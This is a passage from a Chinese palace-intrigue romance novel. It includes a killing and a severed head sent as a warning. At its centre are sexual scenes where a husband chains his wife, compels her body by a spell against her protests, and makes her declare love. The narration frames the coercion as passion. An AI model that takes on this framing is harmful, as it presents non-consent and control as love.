封行渊打开屋舍房门。 里面是早就规整好的房间,干净整洁。 他送她进屋,告诉她屋内陈列摆设怎么用,崭新的衣物用具都放在哪里。 “你在江南还有宅院啊?” 封行渊言简意赅,“新买的。” “看夫人这般想要来江南,不惜抛夫弃夫,便给你备了个宅院。” 鹿微眠唇线绷直看着他,三句话不离那件事。 鹿微眠沉吟半晌跟他打商量,“这样,我不计较你隐瞒身份的事情,你不要计较我瞒着你跑出来的事情,我们谁都不要再提了好不好?” 封行渊弯唇,上前摸了摸她的脸颊,凶兽似的瞳孔描摹着她的身形,“好是好。” “但那也得在今晚之后。” “今晚夫人也可以计较我,打我骂我。”封行渊提醒,“同样,我也可以。” 鹿微眠气息越来越混乱。 封行渊看她惊惧不安的样子,笑着安抚,“夫人放心,我不会打你骂你。” “我只会用我的方式惩罚你。” 封行渊一直在想,既不想让她难受,又达到惩罚的目的应该怎么做。 他后来想明白了。 那就让她快乐到灭顶濒死好了。 他的安慰跟没安慰没有任何区别。 鹿微眠咬唇,转头去放自己的包裹和行李。 鹿微眠折返回来的时候看见封行渊就坐在窗前,窗前的桌子上摆着一个药碗。 封行渊另一只手,握着一柄利刃在烛灯火苗上灼烤。 片刻后,划开了自己的手腕。 就这样将鲜血滴入那药碗中。 鹿微眠一时间屏气。 封行渊察觉到了她的动静,倒也不介意被她发现,反而堂而皇之地弄了更多的药血进去。 “来喝药。” 鹿微眠踟蹰着走上前,看着那药碗,迟迟没有动作。 封行渊戏谑着,“要我喂夫人吗?” 鹿微眠坐在旁边,“我之前喝的,一直是这个吗?” “是啊。”封行渊没什么好遮掩的,夫人想必已经知道得够多了,“还差半个月的药量,夫人这突然跑了,我都没办法给你喂。” 鹿微眠抿唇。 知道了之后,反而有点不敢喝。 封行渊看着她的反应,“看吧,我就说不能告诉你。” 他慢悠悠道,“那个小傻子的嘴,真想给他缝起来。” 鹿微眠感觉封行渊像是会言出必行的人,连忙道,“不是他的错。” 封行渊深吸了一口气。 夫人偷偷跑出门,可结交了不少好朋友啊。 都能帮他们说话了。 丢下他一个月余,还与他生分了。 封行渊默不作声地看着她。 鹿微眠捧起药碗,给自己做了一番思想准备才喝下去。 没等她喝完,封行渊忽然将碗拿了过去,“哐当”一声放在桌上! 紧接着鹿微眠整个人被他拽了过去,跌坐在他身上! 贝齿轻而易举被撬开,钻入,如秋风扫落叶般迅猛而强势地侵占领地。 她被动地承受那有些粗暴地占据,唇齿间溢满清茶香气。 这样突如其来的攻势,让鹿微眠有些喘不过气来,拍打推搡着他。 一只大手将她覆盖包裹,攥紧。 捏的她轻哼一声。 身上的每一寸毛孔仿佛都要炸开。 脆弱的唇颚也被剐蹭、卷揉、折磨着。 啃噬得她像是要被剥皮抽筋,嚼碎揉烂一般。 封行渊咬破了自己的唇。 鹿微眠就尝到了更加明显的血腥气息。 像是有意要给她渡血,将伤口送给她折磨吮咬。 鹿微眠意识到他在做什么,挣扎得更厉害了些。 封行渊根本没有被撼动分毫,反而纠缠得更加深入几分。 她的身形相较于男人小上许多,能够被男人宽厚胸膛轻易覆盖,腰身都被压得微妙弯折起来。 她的胸腔内都是他的气息,仿佛能将更多的药血融进她的身体里。 也想把她融进来。 鹿微眠一顿药被吃得头晕目眩,听他气息微喘着嘶哑笑问,“这样的药会不会好吃一点?” 她缓过神来,看他唇角伤口忍不住道,“你是不是……” “疯子?变态?还是混蛋。”封行渊饶有兴致地弯唇,仿佛知道她会说什么,悠然道,“是又怎么样。” 他手指描摹着她沾了血迹的唇,“你还是得爱我。” 鹿微眠不满,脱口而出,“你这样就不怕我……” 话还没说完,鹿微眠就明显感觉周围气氛变得古怪起来。 “你什么?”封行渊一声冷笑,忽然将整个屋内的温度降入冰点。 鹿微眠噤声,不知道为什么有点说不出话来。 她纤细的腰身被大手牢牢捏住,捏得她浑身上下都是禁锢感,“夫人可别忘了,是你曾经一而再再而三地哄我,情真意切地跟我说要好好过。” 他握住她的下颚,“我有没有说过,夫人这样哄我,日后不哄了,要付出代价。” 鹿微眠被他手上力道带得扬起脖颈,不得不直视他的眼睛。 有点吓人。 封行渊手指顺着她的耳侧慢慢滑落到颈间。 他手指触碰的地方很快就一片绯红,封行渊深邃黑瞳将她锁在视线里,试着催动咒术,“阿眠,说你爱我。” 鹿微眠没由来地心跳加快,耳尖发烫,诡秘的力量在她体内催发,催促上涌着让她的身体失去控制。 很奇怪的感觉。 她思绪是清醒的,但身体却轻飘飘的仿佛被捏在谁的掌心。 封行渊黑瞳眯起,低头更近几分,“说你爱我。” 他的声音很轻,但目光却带着不容置喙的偏执狂热,像是要燃烧过她每一寸肌肤。 第65章 撒娇 鹿微眠看着他, 蝶翼般的眼睫微微颤抖。 发觉他眼底晦暗,像是一望无际地深渊,看一眼就能将她卷入深处, 再也逃不出来。 鹿微眠动了动唇,忽然间意识到,自己的身体好像不受她控制主动地贴上他的胸膛。 他胸腔之中的温热滚烫近乎要将她融化, “我……” 还没等开口, 窗外忽然传来咕咕声响。 打破了屋内诡异的僵持氛围。 而窗柩上停着一只小白鸽, 咕咕咕地叫着。 鹿微眠后知后觉地屏气。 那小白鸽看见她,很是熟稔地朝她扑闪了一下翅膀。 那翅膀上流光溢彩的羽毛无比眼熟。 她说怎么路上总是会看到这只小白鸽。 原来就是他送来的。 封行渊被白鸽拉去注意力, 深深地看了白鸽一眼, 不得不放开鹿微眠。 他起身,轻摸了摸鹿微眠的脸, “夫人乖一点,在这里等我回来。” 封行渊起身出门,落在窗柩上的小白鸽也振翅飞离。 鹿微眠乍一得了自由, 身体里那股诡异的力量抽离之后,她浑身上下就瘫软下来。 鹿微眠撑着桌案,呼吸深重。 她看了看自己的手,手指轻轻收紧聚拢, 才有了些真实感。 仿佛再度恢复了对自己身体的控制能力。 刚才那是怎么回事…… 为什么她的身体自己控制不了。 那个小疯子。 又对她做了什么。 * 江南烟雨在夜色中蒙上一层雾气。 几艘游船安静地停在临安港口,成列排开, 上面烛火灯盏熄灭大半,只有外围的一圈烛火灯盏亮着。 在夜色中打出一层层光晕。 姜崇踉踉跄跄地回到游船行列的最后一艘船上, 有侍卫上前, “公公……” 姜崇抬手,示意他不必声张, “简单包扎下即可。” 侍卫应声,转头去拿东西。 姜崇没有点灯,坐下来解开半边衣衫,能看到他手臂上一道血淋淋的刀痕。 顺着他的手臂攀爬蔓延。 姜崇眉头紧锁,简单地将周围的鲜血擦拭干净,把染血的帕子扔进水盆中。 鲜血在水中晕染开。 他独自将伤口清理干净,将药洒在伤口处。 游船外的风雨声更大了些,将外围的烛火灯光全数浇灭,四周霎时间陷入了一片黑暗。 水面掀起一阵细微的风浪,带得游船也轻轻摇晃起来。 盆中的血水被风摇晃得洒在他脚边。 姜崇微微偏头,一阵凌厉剑风刺破空气,迎面而来。 他立马飞身而起。 那枚利刃与他擦肩而过,“咚”地一声钉在了船舱墙壁上,尾端流苏轻轻震颤着。 姜崇站稳脚跟,定睛看过去。 一道颀长身影出现在船舱里,就坐在他桌边对面的位置,把玩着他桌上放置的刀刃。 “跑得挺快啊。” 屋外闪过一道闪电,将船舱内照得透亮无比,封行渊悠闲的身形来去悄无声息,带着些鬼魅意味,仿佛地狱而来。 忽隐忽现,令人不寒而栗。 封行渊抬眸,眼底映出窗外蜿蜒而过的闪电,紧盯着不远处的人。 他唇角轻轻勾起,“可惜了,你应该再跑得远一点。” 姜崇看见是他,哂笑一声,“我早该劝娘娘,既然养了一柄不听话的刀,就该早点废了!” 话音刚落,姜崇顺势拔出旁边摆放的一柄腰刀,在空中滑过一道凌冽风声,径直朝着封行渊挥过去! “叮”地一声,长刀被封行渊手里的刀鞘挡住。 封行渊脸侧被他的刀光相映,他看起来并不着急,连挡刀的动作都很是轻松随意。 封行渊从容不迫道,“那你可知,你如今这般为淑妃卖命,也不过是她计划里牺牲的一枚棋子。” 前世如此。 姜崇自以为淑妃死了,将慕青辞制成傀儡,代替他称王称帝。 但也没想过,淑妃就是在等姜崇自以为是地扫平京中一切,好让他起兵入京时顺利。 虞念眼里,都是棋子。 或许包括她自己,在她的眼里,早就都不是鲜活的人。 “是不是棋子,我自己说了算!” 姜崇一早就知道自己的身份地位,等淑妃殒命,他身上的摄魂术不攻自破,他只要拿捏住三殿下,整个王朝都是他的! 封轸,他从没放在眼里过! 姜崇说完,又是一刀直指封行渊的面具! 几乎是同时,船舫里外,姜崇身边的暗卫鱼贯而出,将封行渊里外所有的出路全部围挡住。 船外回廊上满是黑压压的人影。 越来越繁重的雨珠砸在水面上,荡起的却是尖利刺耳的刀剑声响! 又是一道闪电划过厚重云层,紧跟着一记闷雷响彻云霄! 四周光影再度亮起时,风浪渐起的水面拍打出来一片一片血色! 封行渊手里提着一个盒子,从船舱中走出。 而他面前一片坦途,再无一人拦路,而湖面上浮着一具具黑衣暗卫的尸体。 港口处,凌双手执油纸伞,在那里等他。 封行渊缓步从船上下来,站在临安街巷的尽头,看着雨水打湿整片长街,心情愉悦。 他将手上的盒子递给凌双,“去给淑妃娘娘送个大礼。” 凌双接了过来,“是。” * 姑苏城内,夜色已深,万籁寂静。 鹿微眠根本睡不着,枯燥无聊摆弄着屋子里的陈列摆设,听屋外细雨飘摇发呆。 她原本以为封行渊只是出去一趟,很快就能回来。 可眼下看来,已经出去半日了,天都黑了,也不见人回来。 鹿微眠想,兴许他今日不回来了。 等明日他回来,她就可以耍赖说过了一日期限,他们谁都不要再提那些事了。 她如是这般想来才放松些许,收拾收拾先去沐浴梳洗。 沐浴间里面藏着一处温泉,一推开房门便是满是的热气氤氲。 泉眼咕咚咕咚冒着泡泡。 温泉边缘玉石堆砌,鹿微眠在玉石边上坐了一会儿,钻进了水中。 温热触感渐渐将她完全包裹住。 鹿微眠困顿地打了个哈欠,倚靠在玉石边缘。 温泉自带解乏的功效,鹿微眠没多久,不自觉地闭上了眼睛,昏昏欲睡。 不知过了多久,鹿微眠的下颚被身后水岸上的人握住,缓慢抚动,粗粝指腹带过一阵酥麻,生生将人弄醒。 她迷迷糊糊地睁开眼睛,就看见一只骨节分明的大手刮过她的脸颊,一路下移,指尖滑过她的脖颈锁骨,又没入水面。 像是一朵漂亮的出水芙蓉,被岸边人欣赏着,把玩揉搓娇艳欲滴的花瓣。 她有点分不清,她是不是在做梦。 因为格外像是那梦境里,被那人按在浴桶中…… 但稍一恢复神智,发现与梦里也没有区别。 人是一样的,感觉也是一样的。 鹿微眠大抵是代入了梦境里的遭遇,肩膀瑟缩起来,顶着被温泉熏蒸到昏昏沉沉的脑袋,躲开水岸边人的亵玩,“别……” 还没等她跑远。 她就听见了金属躞蹀在岸边落地的声音,紧接着有人入水。 跌宕起一片一片水波,撞在了她的身上。 随着身后人靠近,水波动荡撞在她身上的感觉更加明显。 鹿微眠更紧张几分,仿佛能预料到被抓到的后果是怎样的。 她扶着另一侧岸边的玉石,慌不择路地想要往上爬。 就在她以为自己能侥幸逃脱时,身后人就这个动作,顺势将她压在了玉石上。 鹿微眠被压得嘤咛一声,身后是男人炽热胸膛。 热气裹挟着水珠在他们身上彼此交融,空气都变得潮湿黏腻,“夫人不乖。” “见了我就要躲,让我有点不开心。” 男人那漂亮的手护在她身前,五指收拢,就将柔嫩芙蕖包裹在掌心。 柔软与温热仿佛能在指尖化开。 融化与消失的触感,让男人不由得用力几分,感受它的存在。 越是用力,就越控制不住频率与力气。 力气施展在她身上,鹿微眠觉得自己的心脏都仿佛被揉搓一般,被挤压被掌控,“我没有要躲你……” “撒谎。” 好吧,她是在撒谎。 鹿微眠抓住他的手腕,想要挪开。 但温水泡久了,她手上一点力气都没有。 整个人都被欺负得毫无还手之力,鹿微眠娇娇气气地嗔怪,“封轸,你混蛋。” 他一双杏眸微眯带了点狐狸的狡黠与乖戾,“哪里混蛋?” 封行渊将自己嵌入她脆弱之处。 鹿微眠身形剧烈一颤。 他问,“说说看。” 大概是有太长时间没有感受过,乍一触及,鹿微眠还是难以想象,自己从前是怎么做到的。 鹿微眠不去接他的混账话。 但那人恶劣地让她仔细感受着,低头轻吻着她的后脊。 只是轻轻一吻,鹿微眠就扬起身子。 像是一只打挺的小鱼儿。 封行渊眼帘压低,吻得重了几分。 她的反应就愈发有趣,身子骨也愈发不堪一击。 他忽然笑了,“怎么现在不骂我混蛋了。” 鹿微眠咬唇,她发现他真的好坏啊,“混蛋……” “我讨厌你。” 封行渊将她翻过来,“看着我的眼睛,再说一遍。” “我讨……啊!”鹿微眠话还没说完,白玉手指刺戳到无法承受之处。 只一下就给她逼出眼泪。 鹿微眠一口直接咬在了封行渊的肩膀上! 这一下比她以往咬人的任何一下都重,看得出来是带了怨气。 封行渊难得痛嘶了一口凉气,但疼痛过后,就是铺天盖地的酥。 他呼吸深沉,嗓音像是裹了一层纱,“好利的牙。” 回还的,是封行渊手上更重的力道! 鹿微眠想踢开他,却只能踩到水。 尾椎一层层过电,鹿微眠气急败坏地难得不肯配合,“我讨厌你,你放开,不许你动……” 封行渊咬着牙笑,“夫人发脾气这么娇啊,可以再骂得狠一点,这样一会儿我开始了,才不会显得你吃了亏。” 鹿微眠气恼地又去咬他。 但迎上来的是男人的吻,她的啃咬落了空,被卷走,揉开贝齿的尖利,纠缠不休。 这是不遗余力地彼此侵占。 鹿微眠的抗争与他的强硬碰撞过后,就是此起彼伏、愈发剧烈的掠夺与颤动。她被融化在他打造的舒适囚笼里,仿佛灵魂都被按揉到颤抖。 他将人从温泉池中捞出,草草擦干净。 鹿微眠昏昏沉沉地又被吻到了床笫间。 沐浴间的屋舍门“砰”地一声关上! 这一下震得鹿微眠心尖轻颤,她撑住身子,才发现掌心压住了一条银链。 这条银链很是眼熟,有点像是前世床上,他喜欢的那种。 鹿微眠惊得屏气,刚要收手,封行渊突然按了一个什么机关,床架四处忽然间又有银链落下,仿佛是活的一般直接缠住了她的双手双脚。 连腰上都没有被放过。 鹿微眠惊叫一声,不过眨眼间就完全被禁锢在床笫之间。 她手忙脚乱地想要去解开手腕上松散的银链,眼前光影却暗了下来,强烈的雄性气息将她笼罩住,一只大手按住了她的手腕。 悠闲地将圈住她手腕的银链锁扣,锁死! 锁扣锁死的声音刺激着鹿微眠的神经。 她骨头都软了半边,惊慌失措地想要躲开他。 封行渊攥着她手腕,眼尾的笑意不达眼底,“夫人不会以为刚才那样就结束了吧,想躲去哪?” “我这些时日一直在想,上一回恐怕是太轻了,太听夫人话了……夫人才有力气跑。” 鹿微眠没等缩到床脚,那银链却忽然间拽动着她的身形,让她一个猛子朝着男人扑了过去! 封行渊稳稳地接着她,轻轻蹭了一下她的耳鬓,轻声继续,“以后不会了。” “不行……” “嘘,”他顺着她薄唇,轻吻到颈间,“我回回都听你的。但今天你的话,我不会听。” 他的手指像是肆意燃烧的火苗,所过之处,野火燎原。 窗外细密的雨声都像是打在她敏感的神经上。 鹿微眠脊椎过了一层电,被他掌控住的身体根本动不了。 像是无形中一股诡秘的力量将她按在这里,牢牢地禁锢在他身前,承受着有些钝痛的**。 每一个都能在羊脂玉般的肌肤上留下痕迹,像是猛兽在标记领地。 床幔纱帐落下,封行渊留了一盏灯。 即便是他左眼不能见光,每每在这种时候,他还是要看清全部。 因此,每次这时候,他左眼都带着微红,像是能吃人的妖。 封行渊白皙如玉的手指顺着她的腰际滑入,带了些雨夜的冰凉,冰得鹿微眠身形一抖。 将她完全压覆在床榻之上。 他轻轻勾住了手边的银链,“我专门给夫人打的银链,是不是很漂亮。” “我就知道,绑在你身上一定很好看。” 鹿微眠屏气,推搡之时,都能听到银链叮咚碰撞声,这让她很是羞耻,“不好看……我不要。” “惩罚怎么会给你想要的东西呢,”封行渊游刃有余地抽开她的裙带,“上一次,是夫人答应了让我绑你。” “怎么夫人一走这么久,就不想跟我这样了,还是你当时只是为了哄我,好跑得顺利一点。” 鹿微眠感觉身上衣襟束缚松开,她完全被动地感觉身上衣服被剥开。 身前越来越凉,鹿微眠双手抵挡着他的视线。 封行渊扣住她的手腕,就感觉到她僵持的力气,温柔又强硬地拉开! 他包裹着她的粉拳,压在了她的耳侧,“再或者,你是真想跟我和离。” 鹿微眠可怜巴巴道,“我没有。” 她看着他眼底满是侵略性与攻击性,浑身上下都散发着野兽掠食的气息,眼下才将封行渊和前世那个人完全融合在一起。 鹿微眠身上绑着锁链,红纱衣衫大开。 封行渊身形将她拢住,肆意打量着她。 片刻的停滞后,她只感觉一只手握住了她身上薄纱。 像是暴风雨前的宁静。 下一瞬,衣衫被撕裂的声音混合着少女尖叫声中,他如恶魔般带着狠劲的声音接着响起,“没有还留和离书啊?” 鹿微眠心脏仿佛都被人抓住,悬空到窒息,衣衫破碎又被松开放下,跌落回床榻。 好吓人! 她这才意识到,他说让她狠一点,不然一会他开始她会吃亏是什么意思。 可鹿微眠从小规规矩矩,哪里比得过。 鹿微眠慌慌张张地开始挣扎起来,撑起身子就想要下去,“你明明知道,我,我不是真的留……啊!” 她单薄的里衣被撕开,要落不落地坠在身上。 他真正疯起来是前所未有的难哄。 她走的每一日,他都压着火气在等她。 道理他都懂,但不妨碍发疯。 封行渊漂亮的手缠着残破的布帛,覆上她的腰身后脊,描摹着她颤抖的腰窝,“我听你说过很多了,比如阿眠告诉我,哄我永远都不会离开的是谁?” 银链挂在他手臂上,往后一扯,鹿微眠就一下子撞回了他身上,耳边满是他阴沉的声音,“是你啊。” 鹿微眠呜咽一声。 “哄我,要跟我一起过生辰的是谁?” 衣帛撕裂声再度响起,“还是你。” “不要,”鹿微眠身上止不住的颤,慌慌张张地去抱他,“夫君,夫君别吓我。” 封行渊俯身咬住她的唇,算得上安抚,“没说两句重话,又要撒娇。” 他扣住她的腿弯,声音前所未有的粗哑,“有的时候真觉得,阿眠……” “欠要。” 第66章 祭奠 细雨潮湿氤氲, 将山林树梢晕染出一片清新草木气息。 山路早在温泉浸润之时就变得泥泞不堪。 雨幕泼天而下。 脆弱领地被猛兽闯入,毫无反抗之力。 猛兽带着最原始的本能,鞭挞肆虐过每一寸领土, 圈地为王。 间或风雨雷鸣大作,轰隆声响彻云霄。 天地震颤颠倒。 鹿微眠已经听不见屋外狂风暴雨的背景音了。 屋外的声响与他让她发出的声音,以及周围银链碰撞、铃铛乱响的声音相比, 根本是小巫见大巫。 耳中除了自己被动发出的呜咽嘤咛声, 就是那个疯子不间断的询问。 还有催命符一样的叮铃声。 “夫人要我, 就该什么样的我都要啊。” “不喜欢吗?” 鹿微眠见讨饶不管用,硬着脾气否认, “不喜欢。” 封行渊却笑了, “不喜欢啊。” “应该是不喜欢的,讨厌得一直咬我。” “你讨厌谁都这么能咬人吗?” 鹿微眠浑身上下充血, 她咬唇瞪着他,“你你闭嘴。” 眼尾的气势早早就被冲散,而浑然不知。 看起来就更好欺负。 他似乎很喜欢将阻力完全碾压, 在此宣誓主权。 “这么不情愿。”封行渊黑瞳半阖,“那让我看看你有多讨厌。” 屋外雷声轰鸣,将他的声音淹没在潮水般的瓢泼大雨中。 跌宕而来的雨水冲击感,让人听来头晕目眩。 连骨缝里都炸开些火星, 燃烧她的每一寸神经,浑身上下都血液沸腾。 鹿微眠觉得她也快疯了, 她拼命的想要逃离这近乎癫狂的折磨。 却也来不及跑,思绪紧绷地闸门也被破开, 让她不得不依从本能被拉扯着冲破牢笼。 云霄之上火花四溅。 “轰隆”一声巨响! 将尖叫声淹没, 雷鸣余韵震颤着山间云层。 树梢枝叶一同摇摆着。 屋内灯火氤氲。 封行渊垂眸欣赏着她被拖拽沉沦的样子。 混蛋不会让她有机会做回平日里规规矩矩的温吞小千金。 他们是夫妻。 就该一起沉沦疯狂! 就该抛弃礼制,要生要死, 生死不休! 这样才能让他感觉到一点爱。 才能让他感觉到她就在他身边,哪里也不会去。 疾风骤雨肆虐过后。 别说城池失守,就是在完全孱弱的城中喧嚣肆虐,都无可奈何。 鹿微眠踢打着他,“你,你走开……” “想缓一缓吗?” 鹿微眠只觉得眼前白茫茫的一片。 仿佛自己被丢弃在云端怎么也下不来,神经都是紧绷的。 但偏偏四周都是迷蒙雾气,能看见的云朵,也根本抓不住,虚无缥缈。 悬空的失重感令人大脑晕眩。 就在她以为自己能缓下神时,从云中坠落时,又被毫无征兆地推了上去! 封行渊温柔地说出来恶劣至极的话,“那可不行呢。” 鹿微眠已经不会思考了。 紧绷的心弦和急促的呼吸,让她只能用哭泣发泄出来一点。 封行渊眯起眸子,哄她,“真会哭。” 混蛋! 封轸就是个混蛋! 鹿微眠想骂他,但是根本说不出话来。 屋外电闪雷鸣贯穿云霄。 第二层云端被冲破时,她眼前紧跟着闪电划过一道道白光,大脑一片空白。 风雨还是没有要停的打算。 一道闪电劈过的咔嚓声,仿佛让她浑身上下都恢复了意识。 鹿微眠一下一下深深地呼吸着新鲜空气。 但很快呼吸节奏又被打散,紧绷的神经让那股窒息感再度袭来。 她试图踩踏挣脱,却挣脱不开一星半点。 反倒是让人想起来曾经听说过的一种泥沼。 一旦陷进去,越是挣扎,只会陷得更加深,愈发难以脱身。 从此被泥沼禁锢,掌控。 几近极端的失控和濒死感让鹿微眠害怕起来。 床枕被扯出一圈一圈褶皱,她想跑,她不要在这里。 鹿微眠不知怎么地踢到了他的腰胯,把人踩开时,自己才得了片刻的喘息余地。 她踉踉跄跄地想下去。 可是她身上都是锁链,怎么下得去。 不等她摸到床架,脚踝处的银链就被人扯住,将她轻而易举地拖回。 “我就说这银链好用。”封行渊将她环抱住,从背后将她压回。 鹿微眠只是被碰一下就不停地抖。 封行渊轻吻她耳侧,无声轻笑,“怎么变成这样了?” 银链将她完全困在这一方天地之间,随着他的动作也把他捆锁在这里,无数根银链迫使他们纠缠得更加深入,仿佛是彼此禁锢的囚笼,“怕我吗?” 鹿微眠不知道他在说什么,只能感觉到自己被厉鬼缠上了一般。 太可怕了。 他…… “这么怕我啊。”封行渊慢慢地用手臂再度锁住她。 “为什么要怕我呢。” “这样还怕吗?”他晦暗黑瞳深不见底,嘶哑的嗓音一句比一句重,“这样还敢跑吗!” 鹿微眠呜呜地随着他动作,“不,不跑了。” 推又推不开,跑又跑不掉,受也受不了。 她真的,惹他干嘛啊。 就让他跟以前一样乖乖的不好吗。 * 时至夜半,屋外和风细雨。 长江水面上点点雨珠涟漪荡漾开。 船舱屋檐雨幕连成一片,像是清透的珠帘碧玉,将船舱内外的光景分隔开。 侍女从船上回廊内走过,端着安神汤敲门进屋。 屋内灯光如豆。 虞念坐在贵妃椅上,撑着额角翻看着书卷。 侍女出声提醒,“娘娘,这时辰不早了,您喝过安神汤就赶紧休息吧。” 虞念掀起眼帘,看向船舱一处,“临安和京城都没有送消息过来吗?” 眼下长安和临安两地,她安排出去的人,一个回信都没有。 被南巡侍卫挡下了? 不应该,这游船上内侍里外,可不少她的人。 侍女回头看了下船舱门被关好,才放心地开口,“此番南巡,路线与往年不同,怕是他们送消息一时半刻也摸不到咱们的路线。” 虞念了然地将手中书本合拢放在旁边,保养得宜的葱白手指轻轻点动着额角,“眼下是按照什么路线走的?” 侍女踟蹰着,“奴婢不知,恐怕咱们的真实线路,只有陛下和他的亲信知道。” 好端端地,把以往路线改了。 虞念深吸一口气,“陛下这是在防着我啊。” 她们正说着,忽然门外响起敲门声。 “笃笃笃”三下,很是诡异。 到底她们谈话的内容并不方便被人知晓,侍女立马噤声,警惕地看向门外,“谁啊?” 门外并没有回应。 侍女又问了几遍,门外再也没有响起敲门声。 四下安静到诡异。 侍女蹙眉,小心谨慎地走上前。 听着门外的确没有任何动静之后,才打开了房门。 屋外除了连绵不绝地细雨再无其他。 侍女正要进屋,忽然发现地上不知被谁放了个盒子。 侍女弯身将盒子拿起来,抱回了屋子,“娘娘,这个不知道谁放在门口的。” 侍女说着便打开盒子,赫然看见一颗头颅安安静静地躺在里面。 侍女尖叫一声,手上一个不稳,将盒子扔了出去。 木盒落地,里面的东西也滚了出来。 滚到了虞念的脚边。 那是姜崇。 侍女跌坐在地上。 屋外侍卫听见动静,连忙跑进来,“娘娘。” 他看见屋内的一幕,同样倒吸一口凉气。 侍女连忙跪地,“奴婢冲撞了娘娘,娘娘恕罪。” 虞念看着滚出来的东西,眼底带着些不耐烦,“没用的东西。” 不知道是在说侍女还是说姜崇。 侍卫赶忙上前,将地上的东西捡起放回盒子里,叫人处理掉。 折返回来请罪,“臣等看护不力,娘娘受惊了。” “哪里是你们看护不利。”虞念嗓音拖长,眸光锐利,“这是长安和临安的看护,都不太顺利。” 这东西想都不用想,就知道是哪个混小子给她的。 想来送到她这里的第一个消息,竟然是封轸给她的。 当然她清楚,封轸一个人做不了这么天衣无缝,怕是连皇帝都有所参与。 这南巡线路调换,是慕衍的主意。 虞念冷笑着,“真以为能拦得住我啊。” “我等这一天等了二十年。” “拦我那就一起死好了。” * 姑苏城内闪电划破天际,将夜空映照得惨白。 天上乌云翻滚,久久不能平息。 池塘被瓢泼大雨蓄满,悄无声息地浸润草木。 雨珠拍打在窗框上,叮叮咚咚一阵乱响。 鹿微眠能感觉到手上禁锢被松开。 她思绪混沌不已,迷迷糊糊中被人抱紧。 是想要将她嵌进身体里一般的力气。 男人收紧手臂,她被抱得喘不过气来,身体始终无法回归她自己。 大抵也是不想把她自己还给她。 封行渊从爱中得到满足的阈值过高。 鹿微眠觉得他好像要把自己拆了,身体都* 不听自己使唤。 在她的梦里,风雨一直未停,再度袭来时,她眼前光影虚晃。 鹿微眠眼神没有焦点,有气无力地嚷着,“你欺负人。” 封行渊看着她的样子,话语带了点轻哄,“不是欺负,是在爱你。” 沉醉中满是痴迷,“夫人也多爱我一些好不好。” 她显得很是无助,这会儿累得眸光都无法聚焦。 封行渊弯唇,“不会啊?” 鹿微眠唇线绷直。 封行渊攥住腰,覆在她耳边,“我教你怎么爱我。” 鹿微眠恍惚中发现自己的身体真的不听使唤,那股身体被动,但灵魂轻飘飘的感觉又来了。 仿佛有另一股力量控制着她。 很奇怪。 脑袋不愿意,但身体却再配合的感觉有一种近乎极致的割裂和分离感。 像是被迫的给予,遑论能逃走。 封行渊黑瞳幽深,满意地看着。 即便那不是她自愿的。 他的心脏在微痛与甜腻充盈膨胀之间交织碰撞,给予她回应。 在试探过后,随着爱意加深而变得流畅自然。 大概还是他的爱更重几分。 鹿微眠慢慢感觉不到自己送出去多少,都是他剧烈的回应。 近乎爆裂的爱意在咫尺之间迅速累积,轰然炸开。 爱意满盈。 鹿微眠觉得自己脑袋都要被云层中爆裂的风雨布满。 酸胀与充盈感遍布了她的心口,极致的爱在她灵魂失控的边缘迸发出漫天星火。 直到她的世界全部都是他,再也想不起来任何人。 鹿微眠听到他的声音,“阿眠,说你爱我。” 她气若游丝,茫然地重复着,“我爱你。” 好乖。 封行渊将她紧抱住,气息深重,满意地得到了他想要的答案。 即便他的手段不是很光彩。 但那又如何。 大概是满足感侵蚀四肢百骸,过于强烈。 封行渊没注意到,她说爱的时候,他心口并没有反噬的疼痛。 鹿微眠一觉睡到了第二天晚上。 下床脚步都还打着飘,封行渊扶她下来,鹿微眠气恼的一拳打在他肩上。 拳头都软绵绵的没有力气,一点威慑力都没有。 她索性不跟他说话了。 封行渊问她要不要喝点水。 鹿微眠没理他。 水就送到了她唇边。 鹿微眠抿唇,正好口干舌燥地脱水严重,她也没有拒绝。 封行渊给她喂了几盏,终于被她推开了。 看得出来是渴坏了。 应当是的,昨晚出来那么多。 封行渊弯唇。 鹿微眠看见他笑就浑身发毛,“你笑什么?” “没什么。”封行渊看着她,眼底光线明灭,“说了你要生气的。” 鹿微眠又踹了他一脚,“你现在怕我生气了,那你昨晚……” “我们说好,”封行渊慢条斯理地打断她,“到了今日,谁都不要再提了。” 鹿微眠被他拿话堵住,又锤了他一拳,“你混蛋,你还不让我说。” “好好好,你说。”封行渊接住她的拳头,将她紧扣的手指一点点掰开,握在掌心慢慢梳理,而后轻吻手指,“我听着。” 反正他不改。 鹿微眠忽然就不想说了。 算了。 一个她咬过去,他吻回来,她打过去,还要亲她手指的小疯子,说什么怎么说啊。 鹿微眠索性先吃东西。 封行渊将她最喜欢的玉露团推到她面前。 鹿微眠本想很有骨气地推开,但说实话离京之后一直赶路就没吃到过。 她捏着碗沿准备推开的动作,又给拉了回来。 拉到了自己面前。 封行渊撑着额角看她吃东西,雪腮一鼓一鼓地,令人赏心悦目。 鹿微眠从桌下踢了他一脚,封行渊就心领神会地收回视线,假装配合她吃东西。 见那如狼似虎一般的视线没有再盯着她,鹿微眠才吃得安心了些。 屋外的雨没有要停的意思。 也不知下了多久。 凌双的敲门声从屋外响起,得了封行渊许可之后,他才进门,匆匆道,“主子,钧宜找到了。” 鹿微眠回神,“钧宜?” 凌双点头,侧身让开,钧宜才赶忙跑了进来,“夫人!不好了……” 屋外细雨的凉意与不太好的预感一同到来,肆意攀升。 钧宜上气不接下气道,“姜崇昨天走的时候,把三殿下也给带走了。” 鹿微眠起身,“带去哪了?” 钧宜回想着,“我装昏,听到他们说了一个什么,火药点?” 火药点? 这样的地方,听起来有些毛骨悚然。 “那个地方许是跟淑妃娘娘的安排有关,想来是在大坝兴修上不好下手,就用了点其他方式,”钧宜也不知道太多,“只是我一直没有探到,姜崇为什么要把三殿下送去火药点。” 屋内众人一时沉默着。 封行渊沉吟片刻,“姜崇其实根本不想听虞念的话,把慕景怀从临安逼走。” “他的计划八成想让慕景怀一起死在临安,断了慕景怀继位的可能。” “这样等虞念沉城身亡,他身上的摄魂术失效,他就可以坐享虞念留下的渔翁之利。” 封行渊的话令人不寒而栗。 凌双不敢相信,“区区一个太监,竟这么大野心,朝廷百官也不会认他啊。” 封行渊说着,“他且随便找个孩子,说是三殿下的遗孤,死无对证,怎么都是了。” 鹿微眠后知后觉道,“难怪他那么快就要来找春莺。” 说姜崇有这么大野心,鹿微眠是信的。 慕青辞就是一个很好的先例,如果按照原计划,姜崇还跟在慕青辞身边,那他就会是将慕青辞制成傀儡坐拥天下。 